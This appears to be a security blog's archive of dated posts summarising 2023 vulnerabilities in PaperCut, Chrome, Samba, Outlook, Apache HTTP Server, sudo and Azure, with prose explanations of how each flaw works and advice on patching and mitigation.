By misusing the ‘Scripting’ feature for printers, the RCE exploit enables cybercriminals to achieve remote code execution.

Although Huntress has developed a PoC exploit to illustrate the danger associated with the ongoing attacks, they have not made it publicly available.

Currently, unpatched PaperCut servers are under attack, and the exploit code developed by Horizon3 is expected to be adopted by other threat actors for launching similar attacks in the future.

The CVE-2023-27350 vulnerability has been included in the list of actively exploited vulnerabilities by CISA.

Not only that, but even CISA has directed all federal agencies to secure their systems within the next three weeks, by May 12, 2023, to prevent further exploitation.

To prevent remote exploitation of the PaperCut servers, Huntress urged administrators to immediately implement the necessary security measures that cannot currently patch their PaperCut servers. 

During the analysis, experts at Horizon3 identified a JAR that contains the SetupCompleted class in:-

  • C:\Program Files\PaperCut NG\server\lib\pcng-server-web-19.2.7.jar

In the SetupCompleted flow, the session of the anonymous user is unintentionally authenticated due to an error in the code. 

While this function is triggered only after a user’s password is validated via a login process. In web applications, this type of vulnerability is dubbed:-

  • Session Puzzling

Huntress revealed that among the Windows machines with PaperCut installed in the customer environments they safeguard, approximately 1,000 were identified. 

As per their observation, nearly 900 of those machines were still unpatched, and only one had been patched among the three macOS machines they monitored.

Organizations using PaperCut must ensure they have installed either PaperCut MF or NG versions 20.1.7, 21.2.11, or 22.0.9 to prevent exploitation.

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Tags: Critical Papercut Flaw, PoC exploit code

Apr 20 2023


Category: Security vulnerabilities,Web SecurityDISC @ 7:56 am


The previous week, Google put out an emergency security fix for its browser, and today, the company rolled out another emergency security update to address a vulnerability that is being exploited in the wild.
The update is now available for desktop versions of Google Chrome as well as the Android version of Chrome. Users are encouraged to install updates as soon as they are made available in order to safeguard their devices against prospective attacks that exploit these vulnerabilities.

Google has listed five of the eight security problems that were addressed in the most recent version to Google Chrome. Google says that these issues have been handled. The official Chrome Releases blog has provided documentation of these recent improvements. On the other hand, Google does not make publicly known the security flaws that were found during the company’s own internal investigations.

Out-of-bounds memory access in the Service Worker API is a high-risk vulnerability (CVE-2023-2133).

Out-of-bounds memory access in the Service Worker API is a high-risk vulnerability (CVE-2023-2134).

Use after free in DevTools is a high-risk vulnerability (CVE-2023-2135).

Integer overflow in Skia, a high-risk vulnerability( CVE-2023-2136).

Heap buffer overflow in sqlite, rated as medium severity (CVE-2023-2137).

According to Google’s findings, the security flaw CVE-2023-2136 is being actively exploited in the wild.

A 2D graphics library called Skia, which is frequently used in web browsers, operating systems, and other software applications, has a flaw known as CVE-2023-2136, which is an integer overflow vulnerability. An integer overflow happens when an arithmetic operation results in a number that is more than the maximum limit of the integer type. This causes the value to wrap around and become either much smaller or much bigger than what was meant for it to be. An integer overflow may be avoided by ensuring that the maximum limit of the integer type is not exceeded.

This indicates that threat actors have already started exploiting this vulnerability in order to target systems and breach them. The results of a successful exploit may be somewhat variable, but they almost always involve at least one of the following: unauthorized access to sensitive information; data corruption; or even a total system takeover.

The Chrome Stable channel has been updated to version 112.0.5615.137 for Windows and Mac, and it has been updated to version 112.0.5615.135 for Android; these updates will roll out over the next few days or weeks.

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Tags: Google Chrome

Mar 31 2023


Category: Hacking,Security vulnerabilitiesDISC @ 10:09 am

Samba is a free software project that runs on operating systems that are similar to UNIX and supports the Windows file sharing protocol. This protocol once went by the name SMB, but it was renamed CIFS a little while later. Computers running GNU/Linux, Mac OS X, or Unix in general may be perceived as servers or communicate with other computers in Windows-based networks in this fashion, making it possible for these machines to perform either role.

Samba has recently been found to have several security flaws, any one of which might possibly let an attacker obtain access to sensitive data. This poses a substantial danger to the system’s security.


The vulnerability known as CVE-2023-0614 has been discovered, and it enables attackers to access and possibly gain private information, such as BitLocker recovery keys, from a Samba AD DC. As the remedy for the prior vulnerability, CVE-2018-10919, was inadequate, companies that store such secrets in their Samba AD should assume that they have been compromised and need to be replaced.

Impact: The exposure of secret information has the potential to result in unauthorized access to sensitive resources, which presents a severe threat to the organization’s security.

All Samba releases since the 4.0 version are impacted by this issue.

Workaround: The solution that is proposed is to avoid storing sensitive information in Active Directory, with the exception of passwords or keys that are essential for AD functioning. They are in the hard-coded secret attribute list, hence they are not vulnerable to the vulnerability.

CVE-2023-0922 (CVSSV3 SCORE OF 5.9): 

They are in the hard-coded secret attribute list, hence they are not vulnerable to the vulnerability.
This vulnerability, identified as CVE-2023-0922, affects the Samba AD DC administrative tool known as samba-tool. By default, this tool transmits credentials in plaintext whenever it is used to perform operations against a remote LDAP server. When samba-tool is used to reset a user’s password or add a new user, this vulnerability is triggered. It might theoretically enable an attacker to intercept the freshly set passwords by analyzing network traffic.

The transmission of passwords in plain text opens up the possibility of unwanted access to critical information and puts the security of the whole network at risk.

All versions of Samba released after 4.0 are included in this category.

Workaround: To reduce the risk of exploiting this issue, change the smb.conf file to include the line “client ldap sasl wrapping = seal,” or add the —option=clientldapsaslwrapping=sign option to each samba-tool or ldbmodify invocation that sets a password.

As is the case with vulnerabilities in other software, those in Samba may put an organization’s security at severe risk. Administrators of Samba are strongly encouraged to update to these versions or to install the patch as soon as reasonably practical.

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Mar 27 2023

Hackers Exploited Critical Microsoft Outlook Vulnerability To Gain Exchange Server Access

Category: Hacking,Security vulnerabilitiesDISC @ 8:23 am

In response to a recent vulnerability identified in Outlook, Microsoft recently published a proper guide for its customers to help them discover the associated IoCs.

That Outlook vulnerability in question has been tracked as “CVE-2023-23397” with a CVSS score of 9.8 and marked as Critical.

As a result of this flaw, NTLM hashes can be stolen, and without any user interaction, they can be reused to execute a relay attack.

The threat actors use specially crafted malicious emails to exploit the vulnerability and manipulate the victim’s connection. As a result, this allows them to get control of an untrusted location.

The attacker can authenticate as the victim with the Net-NTLMv2 hash leaked to the untrusted network

Microsoft patched the flaw

In the Patch Tuesday updates for March 2023, Microsoft fixed the vulnerability in order to prevent the possibility of any further attacks.

The problem is that this approach was taken after it was weaponized by Russian threat actors and used as a weapon against the following sectors in Europe:

  • Government
  • Transportation
  • Energy
  • Military

It was reported in April 2022 that Microsoft’s incident response team had found evidence that the shortcoming could be exploited.

Attack chain & threat hunting Guidance

It has been identified that a Net-NTLMv2 Relay attack allowed a threat actor to gain unauthorized entry to an Exchange Server in one attack chain.

By exploiting this vulnerability, the attacker could modify mailbox folder permissions and maintain persistent access, posing a significant security risk.

The adversary used the compromised email account in the compromised environment to extend their access. It has been discovered that this is done by sending additional malicious messages through the same organization to other members.

CVE-2023-23397 can lead to credential compromise in organizations if they do not implement a comprehensive threat-hunting strategy. 

As a first step, running the Exchange scanning script provided by Microsoft is important to detect any malicious activity. However, it’s imperative to note that for all scenarios, this script is not capable of providing any visibility into messages that are malicious in nature.

Multiple mailboxes can be opened at the same time by Outlook users. Messages received through one of the other services will still trigger the vulnerability if a user configured Outlook to open mailboxes from multiple services. The scanned mailboxes do not contain that message.

If a user wishes to move a message to a local file, they can do so. Finding evidence of a prior compromise in Archived messages may be possible in some cases.

You can no longer access your Exchange messages if they have been deleted from Exchange. It is recommended that incident responders review the security telemetry collected from all available channels in order to confirm the presence of IP addresses and URIs obtained from the PidLidReminderFileParameter values. 

There are a number of data sources that can be used to gather data, including:-

  • Firewall logs
  • Proxy logs
  • Azure Active Directory sign-in logs for users of Exchange Online
  • IIS Logs for Exchange Server
  • VPN logs
  • RDP Gateway logs
  • Endpoint telemetry from endpoint detection and response (EDR)
  • Forensic endpoint data


Here below we have mentioned all the recommendations:-

  • To mitigate the issue, make sure to update Microsoft Outlook immediately.
  • Ensure that defense-in-depth mitigations are active in organizations leveraging Microsoft Exchange Server on-premises.
  • The script should be used to remove either the messages or just the properties if suspicious or malicious reminder values are observed.
  • In the event that a targeted or compromised user receives suspicious reminders or initiates incident response activities, they should be instructed to reset their passwords.
  • To mitigate the impact of possible Net-NTLMv2 Relay attacks, it is recommended that you use multifactor authentication.
  • On Exchange, you should disable unnecessary services that you don’t need.
  • Block all IP addresses except those on an allowlist from requesting connections on ports 135 and 445.
  • If your environment has NTLM enabled, you should disable it.

Tags: Exchange Server Access

Mar 14 2023


Category: Security vulnerabilities,Web SecurityDISC @ 8:22 am

Apache HTTP Server is one of the web servers that is used the most often throughout the globe. It is responsible for providing power to millions of websites and apps. Recent vulnerabilities found in the server, on the other hand, have the ability to disclose sensitive information and make it easier for attackers to carry out further attacks. The Apache HTTP Server has recently been found to contain two significant vulnerabilities, both of which are detailed below. It is imperative that you rapidly upgrade Apache HTTP Server to the most recent version in order to protect your system against the vulnerabilities described.

Apache HTTP Server request splitting vulnerability, CVE-2023-25690. This vulnerability is brought about by an issue that occurs in mod proxy whenever it is activated with a RewriteRule or ProxyPassMatch of some kind. This vulnerability might be used by a remote attacker to overcome access constraints in the proxy server, route undesired URLs to existing origin servers, and poison cache. Attacks using HTTP Request Smuggling are possible on Apache HTTP Server versions 2.4.0 through 2.4.55, if the server is configured with certain mod proxy settings. It occurs when mod proxy is enabled along with some form of RewriteRule or ProxyPassMatch. In these configurations, a non-specific pattern matches some portion of the user-supplied request-target (URL) data, and the matched data is then re-inserted into the proxied request-target utilizing variable substitution. This causes CVE-2023-25690 to be triggered. This might result in requests being split or smuggled, access rules being bypassed, and unwanted URLs being proxied to existing origin servers, all of which could lead to cache poisoning.

Versions of the Apache HTTP Server ranging from 2.4.30 to 2.4.55 are impacted by the problem. This attack is carried out by introducing unusual characters into the header of the origin response, which has the potential to either truncate or divide the response that is sent to the client. An attacker might take use of this vulnerability to inject their own headers into the request, causing the server to produce a split response.

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Tags: Apache HTTP Server

Jan 20 2023


Category: Linux Security,Security vulnerabilitiesDISC @ 9:47 am

Sudo is one of the most essential, powerful, and often used tools that comes as a core command pre-installed on macOS and practically every other UNIX or Linux-based operating system. It is also one of the programs that comes pre-installed as a core command. A system administrator has the ability to delegate authority to certain users or groups of users through the use of the sudo (su “do”) command, which provides an audit trail of the commands that were executed and the arguments that were passed to those commands. This allows the administrator to give certain users or groups of users the ability to run some or all commands as root or another user.

A new sudo vulnerability was found. It was on sudoedit (sudo -e) flaw. With it, attackers can edit arbitrary files, and therefore machines were at the risk of the pwned and having information steeled.

Researchers Matthieu Barjole and Victor Cutillas of Synacktiv uncovered the weakness, which was given the identifier CVE-2023-22809, in the sudoedit function for Linux. This vulnerability might enable a malicious user with sudoedit access to edit arbitrary files on a system running Linux.

In order to give its users with the ability to pick the editor of their choosing, Sudo makes use of environment variables that are supplied by the user. The contents of these variables provide additional information to the command that is ultimately sent to the sudo edit() function. The latter, on the other hand, is dependent on the existence of the — argument in order to establish the list of files that need to be edited. This list may be changed by the insertion of an additional — argument into one of the approved environment variables, which can then lead to a privilege escalation through the modification of any other file with the rights of the RunAs user. This problem appears after the sudoers policy validation has been completed.
Versions of sudo that came out before 1.8.0 built the argument vector in a different way and are not impacted by this issue. It is strongly suggested that users get their systems up to date with the most recent version.

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Tags: SUDO vulnerability

Jan 18 2023


Category: Security vulnerabilitiesDISC @ 10:38 am

Orca, a business that specializes in cloud security, has disclosed information on four server-side request forgery (SSRF) vulnerabilities that affect several Azure services. Two of these vulnerabilities might have been exploited without the need for authentication.

They were able to attack two vulnerabilities without needing any authentication on the service (Azure Functions and Azure Digital Twins). This gave them the ability to make requests in the name of the server even though it did not own an Azure account.

The vulnerabilities in Azure SSRF that were discovered allowed an attacker to scan local ports, find new services, endpoints, and files. This provided valuable information on potentially vulnerable servers and services to exploit for initial entry, as well as the location of information that could be targeted.
SSRF vulnerabilities are particularly dangerous due to the fact that if attackers are able to access the host’s IMDS (Cloud Instance Metadata Service), this exposes detailed information on instances. This information includes the hostname, security group, MAC address, and user-data, and it could potentially allow attackers to retrieve tokens, move to another host, and execute code (RCE).

A server-side request forgery, also known as SSRF, is a web security vulnerability that enables an attacker to abuse a server-side application by making requests to read or update internal resources as well as submit data to external sources. This type of vulnerability is known as a server-side request forgery.

Server-Side Request Forgery (SSRF) attacks often fall into one of these three categories:

Blind SSRF is a sort of SSRF attack that takes place when an attacker is able to influence a server to make requests, but the attacker does not get the answer that the server sends back to them. Because of this, determining whether or not the attack was effective is much more difficult.
Semi-Blind SSRF is a form of SSRF attack that is very similar to Blind SSRF. The only difference is that the attacker is able to view part of the answer from the server, such as the response headers or the status code. This may provide the attacker the ability to obtain some limited information about the system they are attacking.
Non-Blind SSRF, also known as Full SSRF, is a subtype of SSRF attack that takes place when an attacker has the ability to control a server in order to send requests and get the whole answer from the server. This gives the attacker the ability to learn more about the system they are targeting and gives them the opportunity to perhaps conduct other attacks.
The four SSRF vulnerabilities that we found all fall into the third category, which is known as Full SSRF (sometimes referred to as Non-blind SSRF). To give you an idea of how easily these vulnerabilities can be exploited, Non-blind SSRF flaws can be leveraged in a variety of different ways, such as SSRF via XXE, SSRF via SVG file, SSRF via Proxy, SSRF via PDF Rendering, SSRF via vulnerable query string in the URL, and many more. These are just some of the ways that these vulnerabilities can be exploited.

It is essential to keep in mind that each and every SSRF vulnerability may be exploited to get unauthorized access to sensitive information or to launch further attacks against a target. This is the case regardless of the kind of SSRF attack that is being deployed. For this reason, it is essential for businesses to take the necessary precautions to protect their servers and networks against the kinds of attacks described above.

They were not successful in gaining access to any of the IMDS endpoints because Microsoft had implemented a variety of SSRF defenses, one of which was the environment variable known as X-IDENTITY-HEADER. However, even in the event that an attacker was unable to access the IMDS services, there was still a significant amount of potential harm that they might do, as was previously discussed.

After bringing Microsoft’s attention to the security flaws, the company moved quickly to fix them.

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Tags: Azure servics, server-side request forgery (SSRF)

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